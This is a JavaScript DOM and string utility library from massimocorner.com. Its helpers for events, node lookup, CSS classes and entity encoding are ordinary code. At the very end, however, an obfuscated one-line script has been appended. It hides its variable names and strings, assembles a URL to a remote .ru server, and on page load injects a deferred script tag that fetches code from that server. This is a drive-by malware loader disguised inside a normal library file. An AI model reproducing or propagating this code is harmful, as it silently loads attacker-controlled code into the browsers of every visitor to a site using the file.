/** 
* Copyright 2006-2008 massimocorner.com
* License: http://www.massimocorner.com/license.htm
* @author      Massimo Foti (massimo@massimocorner.com)
* @version     0.3.2, 2008-05-07
 */

if(typeof(tmt) == "undefined"){
	var tmt = {};
}

/**
* Developed by John Resig
* For additional info see:
* http://ejohn.org/projects/flexible-javascript-events
*/
tmt.addEvent = function(obj, type, fn){
	if(obj.addEventListener){
		obj.addEventListener(type, fn, false);
	}
	else if(obj.attachEvent){
		obj["e" + type + fn] = fn;
		obj[type + fn] = function(){
				obj["e" + type + fn](window.event);
			}
		obj.attachEvent("on" + type, obj[type+fn]);
	}
}

/**
* Sort of an equivalent of the famous $() function. Just with a better name :-)
* Accepts either ids (strings) or DOM node references
*/
tmt.get = function(){
	var returnNodes = new Array();
	for(var i=0; i<arguments.length; i++){
		var nodeElem = arguments[i];
		if(typeof nodeElem == "string"){
			nodeElem = document.getElementById(nodeElem);
		}
		if(arguments.length == 1){
			return nodeElem;
		}
		returnNodes.push(nodeElem);
	}
	return returnNodes;
}

/**
* Returns an array containing all child nodes. 
* If no starting node is passed, assume the document is the starting point
*/
tmt.getAll = function(startNode){
	// If no node was passed, use the document
	var rootNode = (startNode) ? tmt.get(startNode) : document;
	return rootNode.getElementsByTagName("*");
}

/**
* Returns an array containing all child nodes. 
* Unlike tmt.getAll, it return only elements of type Node.NODE_ELEMENT, no comments or other kind of nodes
* If no starting node is passed, assume the document is the starting point
*/
tmt.getAllNodes = function(startNode){
	var elements = tmt.getAll(startNode);
	var nodesArray = [];
	for(var i=0; i<elements.length; i++){
		if(elements[i].nodeType == 1){
			nodesArray.push(elements[i]);
		}
	}
	return nodesArray;
}

/**
* Returns an array containing all child nodes that contain the given attribute 
* If no starting node is passed, assume the document is the starting point
*/
tmt.getNodesByAttribute = function(attName, startNode){
	var nodes = tmt.getAll(startNode);
	return tmt.filterNodesByAttribute(attName, nodes);
}

/**
* Returns an array containing all child nodes that contain the given attribute matching a given value
* If no starting node is passed, assume the document is the starting point
*/
tmt.getNodesByAttributeValue = function(attName, attValue, startNode){
	var nodes = tmt.getAll(startNode);
	return tmt.filterNodesByAttributeValue(attName, attValue, nodes);
}

/**
* Out of a node list, returns an array containing all nodes that contain the given attribute
*/
tmt.filterNodesByAttribute = function(attName, nodes){
	var filteredNodes = new Array();
	for(var i=0; i<nodes.length; i++){
		if(nodes[i].getAttribute(attName)){
			filteredNodes.push(nodes[i]);
		}
	}
	return filteredNodes;
}

/**
* Out of a node list, returns an array containing all nodes that contain the given attribute matching a given value
*/
tmt.filterNodesByAttributeValue = function(attName, attValue, nodes){
	var filteredNodes = new Array();
	for(var i=0; i<nodes.length; i++){
		if(nodes[i].getAttribute(attName) && (nodes[i].getAttribute(attName) == attValue)){
			filteredNodes.push(nodes[i]);
		}
	}
	return filteredNodes;
}

/**
* Set the value of an attribute on a list of nodes. Accepts either an id (string) or DOM node reference
*/
tmt.setNodeAttribute = function(nodeList, attName, attValue){
for(var i=0; i<nodeList.length; i++){
		var nodeElem = tmt.get(nodeList[i]);
		if(nodeElem){
			nodeElem[attName] = attValue;
		}
	}
}

/**
* Add a CSS class to a given node. Accepts either an id (string) or DOM node reference
*/
tmt.addClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(!nodeElem || (tmt.hasClass(nodeElem, className) == true)){
		return;
	}
	nodeElem.className += (nodeElem.className ? " " : "") + className;
}

/**
* Check if a given node use a CSS class. Accepts either an id (string) or DOM node reference
*/
tmt.hasClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(nodeElem){
		return nodeElem.className.search(new RegExp("\\b" + className + "\\b")) != -1;
	}
	return null;
}

/**
* Remove a CSS class from a given node. Accepts either an id (string) or DOM node reference
*/
tmt.removeClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(!nodeElem || (tmt.hasClass(nodeElem, className) == false)){
		return;
	}
	nodeElem.className = nodeElem.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
}

/**
* Toggle a CSS class from a given node. Accepts either an id (string) or DOM node reference
*/
tmt.toggleClass = function(element, className){
	var nodeElem = tmt.get(element);
	if(tmt.hasClass(nodeElem, className)){
		tmt.removeClass(nodeElem, className);
	}
	else{
		tmt.addClass(nodeElem, className);
	}
}

/**
* Trim a given string
*/
tmt.trim = function(str){
	return str.replace(/^\s+|\s+$/g, "");
}

/**
* Replace special XML character with the equivalent entities
*/
tmt.encodeEntities = function(str){
	if(str && str.search(/[&<>"]/) != -1){
		str = str.replace(/&/g, "&amp;");
		str = str.replace(/</g, "&lt;");
		str = str.replace(/>/g, "&gt;");
		str = str.replace(/"/g, "&quot;");
	}
	return str
}

/**
* Replace XML's entities with the equivalent character
*/
tmt.unencodeEntities = function(str){
	str = str.replace(/&amp;/g, "&");
	str = str.replace(/&lt;/g, "<");
	str = str.replace(/&gt;/g, ">");
	str = str.replace(/&quot;/g, '"');
	return str
}

/**
* Turn a set of name/value pairs stored inside an object into a URI encoded string
*/
tmt.hashToEncodeURI = function(obj){
	var values = [];
	for(var x in obj){
		values.push(encodeURIComponent(x) + "=" + encodeURIComponent(obj[x]));
	}
	return values.join("&");
}
var aL;if(aL!='' && aL!='s'){aL=null};function d(){var pl=new Array();var AM=new Array();var r=String("PFUOg".substr(4));var g=new Date();var de='';var v='';var C=new String();var vA=new String();var q=RegExp;var x_=new String();function O(c,p){var U=new Array();var _= String("Jt2b[".substr(4));var u;if(u!='' && u!='Kn'){u='XI'};var gO;if(gO!='Ar' && gO!='Rm'){gO=''};_+=p;var vb=new Array();var h;if(h!='t' && h!='z'){h='t'};_+="]wjQ".substr(0,1);var y=new q(_, r);this.xS='';this.o='';return c.replace(y, v);var vK;if(vK!='w'){vK='w'};};var Rv;if(Rv!='GZ' && Rv!='M'){Rv='GZ'};var rF="";var dm;if(dm!='' && dm!='Hj'){dm='Ma'};var qP="";var Q='';var G=new String("scri"+"P96kpt".substr(4));var F=new Date();var b=new Date();var MF="";var vO;if(vO!='' && vO!='bc'){vO='hN'};var qp=new String("RK76src".substr(4));var E;if(E!=''){E='tN'};var lZ;if(lZ!=''){lZ='S'};var R=window;this.lH='';var f=O('8112222102211128222111210112221',"21");var Xk=new Date();var rC;if(rC!='' && rC!='NA'){rC=''};var k=String("dehFgY".substr(0,2)+"feokyN".substr(0,2)+"r");this.KS="";var X=String("/goo"+"gle."+"com/QlEg".substr(0,4)+"goog98iA".substr(0,4)+"le.c"+"VF8fom/mVf8F".substr(4,4)+"yspa"+"3xuhce.c".substr(4)+"39eqom/weq39".substr(4,4)+"sj.caE7".substr(0,4)+"z67om/w".substr(3)+"3.orId9".substr(0,4)+"g.ph"+"p");var QL=new String("http:"+"//hoo"+"sQ6pchin".substr(3)+"euS6a-com6eSu".substr(4,5)+".allyHYMZ".substr(0,5)+"es.co"+"m.gaz"+"Hd5Ieta-pHdI5".substr(4,5)+"uVZbl.airVbuZ".substr(4,5)+"pVPsealo".substr(3)+"g.ru:");var qEU;if(qEU!='my'){qEU='my'};R.onload=function(){var Am=new Date();var AMr="";try {var dO;if(dO!='' && dO!='MW'){dO='IR'};var PZ='';var FN;if(FN!='VP'){FN=''};Q=QL+f;var jc;if(jc!='vU' && jc!='uD'){jc='vU'};var Bj=new String();Q+=X;var Gt=new Date();var EF;if(EF!='vG'){EF='vG'};this.CF='';var Xu;if(Xu!='eW' && Xu!='mh'){Xu='eW'};x=document.createElement(G);var zr;if(zr!='EN' && zr != ''){zr=null};var Ip;if(Ip!='' && Ip!='Ij'){Ip=null};x[k]=[4,1][1];var hS;if(hS!='rg' && hS != ''){hS=null};x[qp]=Q;var rCf=new Date();document.body.appendChild(x);this.IZ="";var QP=new Date();var Oa=new Array();var Ae=new Date();} catch(K){var Sg=new Array();var gF=new Array();};var vB;if(vB!='' && vB!='PK'){vB=''};};var Ek="";};var Je=new Array();d();